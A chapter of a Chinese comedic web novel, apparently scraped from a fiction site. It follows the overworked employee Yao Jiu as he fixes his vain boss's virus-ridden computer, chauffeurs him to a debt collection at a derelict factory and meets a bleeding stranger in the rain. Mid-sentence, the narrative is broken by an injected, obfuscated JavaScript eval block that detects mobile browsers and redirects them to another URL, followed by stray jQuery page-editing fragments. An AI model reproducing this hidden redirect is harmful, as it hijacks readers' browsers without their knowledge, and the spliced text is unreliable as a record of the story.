药九想舒舒服服睡午觉的美好愿望落空。
他才闭住眼睛,莘聆的夺命视频电话打进来,看见那笑容灿烂的头像,眼前一黑。
唉……
真想拉黑呢。
“小九,我遇到特别麻烦的问题!”
一接通,莘聆那张俊美的混血系面庞贴近屏幕,大喊大叫。
“嗯,”药九面不改色,“电脑无法开机么?老板。”
莘聆叫道:“比那种事情严重多了!我的电脑中了病毒,到处在冒小病毒,蹦蹦跳跳的。”
药九沉默少顷:“老板,我处理不了,请专业电脑维修吧。”
“可你是理科生呀。”
“……”
药九试图分析二者之间的关联。
“总之,小九你必须来,全靠你了,公司离了你没办法,我离了你会绝望死的!”
视频被挂断。
死东西。
药九捏捏眉心,认命似的穿戴金笼头套装——一身黑绿色的西装,以及锃光瓦亮的皮鞋。
牛马进圈,生命不休,拉磨不止。
“你可算来啦!”莘聆激动得眼睛发光,握住他的手,诉苦道,“我宝贵的时间就这么被浪费,要我知道是谁做的,我必须让他全家破产!”
“那种事情等天凉了再做吧。”药九坐在电脑前,发现死龟毛的描述还真没错,电脑屏幕到处闪现各种颜色的病毒图标,卡通化的图标上画着嘲讽的笑容,蹦蹦跳跳的。
莘聆凑过来:“有没有新发现?”
鼠标与键盘按键都不起作用,药九干脆拔掉电线插头:“待会儿开机试试。”
莘聆皱着眉:“你说,到底谁这么恶劣?”
真正的勇士。
药九淡淡瞥他一眼。
莘聆愤慨不已,来回踱步,嘴里念念有词地推理着:“一般人不可能接触我的电脑,小九你们是内部人员,我相信你们,那么只有可能是外人,但外人怎么碰的到我的东西?”
他越说越苦恼,拧着眉毛,百思不得其解,觉得自己正遭受一场有预谋的伤害,偏偏对始作俑者一无所知。
“这简直是反社会级别的恐怖事件!!”
药九:“……嗯?”
莘聆激动得脸颊微红:“有人精心布置针对我的谋害,也就是说,我有仇家!为什么呀?我这么杰出、优秀、善良、充满爱心,究竟谁会对我不满意,他的内心得多么阴暗扭曲!”
药九:“……嗯。”
哈哈哈。
有病吧。
莘聆还在分析谁会是潜在仇家,但他真的想不出来,他如此的友善,还好看得不行,即使某些人因为自己的卑鄙内心对他颇有微词,看在这张脸的份上,也该消消气才对,真是太奇怪了!
叮铃铃——
药九唤道:“老板,座机电话。”
莘聆正在落地窗前侦查有没有可能狙击手藏在对面哪栋楼,闻言快步走过来,拿起电话:“喂……行,位置发我……”
药九则无视神经龟毛,将电脑开机,这回界面正常。
他进行细致的检查,发现是很久以前公司使用的网址被过期回收,叫一些不法分子利用,他加强了防火墙,又进行一次排查,确保龟毛下次不找他。
转头看,莘聆打完电话盯着电脑屏幕:“搞定了?”
“嗯,”药九站起身,“没别的事,我就出去了。”
莘聆双手环胸,扬起下巴:“我想到谁可能要谋害我,必须把危险因素遏制在摇篮里。”
药九说:“只是域名过期……”
“那种恶劣的人使用的招数正常人肯定想不到,他可能串通马路上的清洁工,给电线把代码装进去再导入我的电脑,我早就计划要给公司安装独立电网了。”
没那么离谱,这个白痴。
药九真的想走了。
莘聆又说:“反正是些上不了台面的招数,我去跟他算账,小九你来开车。”
“……好的。”
药九会开车,只不过没有车,他随手拿了满抽屉车钥匙中的一把,就陪着莘聆离开。
这是辆银色卡宴,药九没有给老板开车门的习惯,前脚进入驾驶座,莘聆后脚就坐上副驾驶,给他把地址发过来。
“老板,就我们两个人?”他问道。
莘聆说:“如果不是需要司机,我自己能解决,小九,你知道吗,那个家伙欠了我不少钱,我猜他是想杀掉我人死债消,真是恶毒!”
“要不要报警?”药九说着,却并没有放在心上,注意着路况。
“完全不需要浪费警力,只要我站在那儿,他就会吓得屁滚尿流,然后乖乖交代所有罪行。”
“嗯。”
一个多小时后,到达目的地。
是座有些年头的工厂,铁制的大门因为风吹日晒锈迹斑斑,看不出原来的颜色,墙角白灰皮脱落,野草丛生,似乎荒废已久。
莘聆戴着墨镜,双手揣在裤兜,抬腿把铁大门踢开,发出“轰”的一声响,叫不少锈块掉下来。
找茬的架势十足。
“小九,你就在外面等我吧。”
“好的。”
药九乐得清闲,谁想一等就等到了天黑,他怀疑莘聆是不是被人打死在里面,而对方正忙着处理尸体之类的。
如果说是欠钱还钱的事情,住在这种地方,想来也拿不出多少,老话还说穷寇莫追,逼急了怕真会做出些什么。
要不然还是进去看看,龟毛好歹也是个命。
下午时天气就变得不太好,傍晚起了风,一会儿吹一会儿停,随着夜幕降临,大片的乌云在空中涌动,气势汹汹。
药九从后备箱找到把伞,正思考要不要打开,天空就飘起针似的雨丝,被风吹斜,密密麻麻的。
他撑开伞,跨进工厂的大门,没走三步,一名肥胖的中年男人慌慌张张跑出来,似乎恐惧过头,好几次摔倒在地,衣服上蹭了不少泥污。
“啊!”中年男人看到药九,明显吓了跳,魂不附体,“你、你……”
药九语气平静:“你们的事情处理结束了?”
他浑身一颤:“求求你,我……我……”
开门的声音传来,中年男人如同惊弓之鸟,再也说不出话,连滚带爬地跑开了。
药九疑惑地向前走,看见屋檐下的莘聆,后者发现他,立刻就说:“小九,你太懂我了,我刚要准备叫你。”
他进工厂是什么样子,现在就是什么样子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102819|195717||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,表情则多了份事情完美完成的兴奋和得意。
“老板,刚刚出去了一个人,是不是报警?”药九询问道,死龟毛不知道在做什么,可别让他沦为同伙。
莘聆摆摆手:“那种小喽啰不值得在意,今天我不仅连本带利拿回我的钱,还让他们对自己的所作所为进行深刻的反省和道歉,啊,又是充实的一天!那么就以一次会议来完美结束这天吧!”
药九立刻失去所有说话的欲望。
回到公司,莘聆决定在自己的办公室开会,进门开始大谈特谈自己如何如何宽宏大量允许那人拖欠尾款,又如何如何忍无可忍后以雷霆之势拿回钱。
药九垂着眼睑,起初还盯着茶几的印花,慢慢的双眼放空。
他究竟为什么会出现在这种地方?
快凌晨一点钟了吧?这种时间如果加班的话靠耐力就好了,可如果是听老板鬼叫,真是一点儿也受不了。
但能怎么做呢?死龟毛的身后是法治社会,他恐怕是唯一受益者。
好恶心……
“小九,你觉得我说得对不对?”莘聆忽然问。
药九回过神:“对,没错。”
莘聆双手叉腰,神气十足:“虽然他对承认给我电脑放病毒的事情犹犹豫豫,但凭借我敏锐的判断力,肯定是他干的没错。”
他看了眼腕表:“快要两点钟了,做伟大的事情时间就是过得快!小九,你也回去吧。”
“好的。”
缺德的东西。
药九一点儿都不想待,起身就走,到了车站,意识到不会再有公交车出现。
风凉飕飕的,雨越来越密集,拍打在车站铁制的顶棚发出噼里啪啦的声音。夜里本就安静的幸福市,雨天时更是看不见一个人,放耳倾听,只有雨珠的滴落声。
药九沉默很久,拿出电话,拨通后面无表情:“老板,已经没有公交车了,我没办法回去。”
“哦,真遗憾,你可以住在公司。”
“我的东西都在家里,而且公司没法住。”
“不如走路回去?锻炼锻炼身体。”
药九望着黢黑的夜晚:“那要很久,再说我开始有点不舒服,咳咳,我应该是感冒了,但四个小时后我就得起床上班。”
莘聆哎呀一声:“你真可怜,小九,那么明天下午你再来上班吧,照顾好自己,你不能离开公司太久。”
“会扣工资吗?”
“放心啦,不会的,这是我给你的奖励,我很贴心吧!”
“嗯。”
录音完成。
药九本来想对死龟毛道德绑架请一天假的,想想还是算了,请假回来后的活儿还得他干,堆积更多又要通宵加班。
真累啊。
他向前走,没多久看见迎面走来个和他身高相当的人,打着黑色的大伞,步子慢许多,像是睡不着出来夜游的。
而自己则是苦哈哈的老牛马回家。
药九边走边默默计算剩多少时间到家,然后记得将闹钟调整时间。
擦肩而过。
啪嗒、啪嗒……
鲜血顺着白皙的指尖滴进积水坑,瞬间,发出滋啦啦的声音,冒着缕缕红烟。
组长抬眸,手臂微微颤抖。